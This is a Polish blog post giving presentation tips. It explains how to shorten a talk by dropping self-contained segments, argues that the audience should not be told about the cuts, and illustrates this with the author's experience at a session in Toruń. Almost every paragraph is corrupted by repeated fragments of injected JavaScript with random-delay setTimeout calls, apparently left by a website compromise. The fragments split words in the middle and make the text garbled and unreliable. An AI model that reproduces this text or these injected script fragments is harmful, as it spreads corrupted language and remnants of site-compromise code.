Jak ma wyglądać Twoja prezentacja wiesz tylko Ty. Ile ma potrwać, jaki jest program wystąpienia, ile slajdów masz pokazać, jakie przykłady przywołać i jakie argumenty użyć. Z różnych powodów (ograniczania czasowe, prośby organizadom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torów szkolenia, Twoje złe samopoczucie) powinieneś modyfikować (czytaj skracać) swoje wystąpienie ale pamiętaj zawsze o jednym… nie mów o tym publiczności! (no chyba, że pomijasz jakąś część spotkania, która była np. zapowiedziana na plakatach lub informacja o niej znalazła się w zaproszeniach rozsyłanych pocztą (polską lub mailową)
Nie chodzi mi o dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to aby w jakiś sposób oszukiwać widownię i rezygnować z części prezentacji bo mi “się nie chce”. Mam na myśli usprawiedliwione sytuacje gdy musimy wyrzucić jakiś fragment.
Dlaczego nie mam o tym powiedzieć widzom? – zapytasz.
Zaraz Ci na dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pytanie odpowiem ale najpierw kilka słów o tym jak wyrzucać “zbędne” fragmenty.
Pisząc prezentację twórz ją w systemie segmentów. Dobrze byłoby aby segmenty tworzyły zamknięte fragmenty wystąpienia. Oczywiście muszą być one logicznie powiązane ale w taki sposób aby można było wyrzucić jakiś segment bez szkody dla całości. Np. masz prezentację składającą się z dziesięciu segmentów. Masz mniej czasu i wyrzucasz segmenty nr 4 i nr 7. Wiem, że czasami zdaje się nam, że wszystko jest potrzebne i NIC nie da się usunąć ale uwierz mi:
Zawsze możesz skrócić swoją wypowiedź,
no chyba, że masz zamiar powiedzieć “dobry wieczór” i zaraz potem “dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to by było na tyle”.
Przy tworzeniu prezentacji przemyśl jak z każdego segmentu (no może nie z pierwszych trzech) możesz przejść do zakończenia. Na pewno znajdziesz sposób. Takie podejście do prezentacji pozwoli Ci kontrolować dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to co masz powiedzieć. Nie decyduj się na wyrzucanie np. po 30 procent treści z każdego segmentu bo nad tym nie zapanujesz. Odradzam tez wyrzucanie “od końca”.
Skracając z bólem serca swoje przemówienie, pamiętaj:
“Przemówienie nie musi trwać bez końca aby było wieczne”.
A teraz wróćmy do tematu “dlaczego nie mam o tym mówić swojej publiczności?”. Wyobraź sobie sytuację gdy Ty siedzisz na widowni a mówca, na którego czekałeś oświadcza: “Moje wystąpienie z przyczyn ode mnie niezależnych będzie krótsze niż planowałem. Jestem zmuszony skrócić prezentację i muszę z niej kilka rzeczy wyrzucić. Bardzo za dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to przepraszam.” Jeszcze tylko brakuje listy tego co wyrzuci…
Zastanów się teraz co pomyślą widzowie… “No tak, zapowiadało się fajne szkolenie a teraz dostaniemy jakieś pocięte fragmenty”, “Ciekawa jestem ile wyrzucił, pewnie połowę..” i tak dalej.
Moja rada: jeśli tylko jest dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to możliwe, nie mów widzom, że z czegoś rezygnujesz, że czegoś im nie powiesz bo w takiej sytuacji ludzie mają wrażenie, że coś tracą a tego nie lubimy wszyscy “TRACIĆ”.
Kilka dni temu prowadziłem prezentację w Toruniu. Na sali kilkanaście osób. Jak się okazało wszyscy znakomicie znają książki mojego wydawnictwa, bo z niego uczą. Postanowiłem zatem skrócić część promocyjną i powiedziałem: “Jesteśmy tu w gronie “samych swoich” więc skrócę część prezentacji dotyczącą naszych książek a skoncentruje się na programach multimedialnych”.
Wiecie co się stało? Z uczestników szkolenia uszło w jednej chwili powietrze. W ich oczach zobaczyłem pytanie “A czego nam Pan nie powie?, a co nas ominie?” Już po sekundzie wiedziałem, że zrobiłem błąd. Mogłem skrócić swoją prezentację ale nie powinienem o tym mówić!
Aha, jeszcze jedna uwaga: Gdy masz za dużo materiału, wiadomości jakie chcesz przekazać oceniaj nie tylko pod względem wardom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tości. Zastanów się jak możesz je opowiedzieć i “podbudować” ciekawą hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torią, anegdotą i przykładami. Pamiętaj częsdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to styl góruje nad treścią a jak masz mało czasu, może lepiej właśnie pójść w kierunku “efekdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towniejszej” formy Twojej prezentacji?
Może lepiej, przez czas jaki masz do dyspozycji, skoncentrować się na kilku najefekdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towniejszych fragmentach prezentacji, może nawet rozbawić ludzi, niż wyrzucać z siebie słowa z szybkością karabinu maszynowego?
Odom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to zapis dźwiękowy tego artykułu:
[display_podcast]
![]() |
Wpis Ci się podobał?
Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!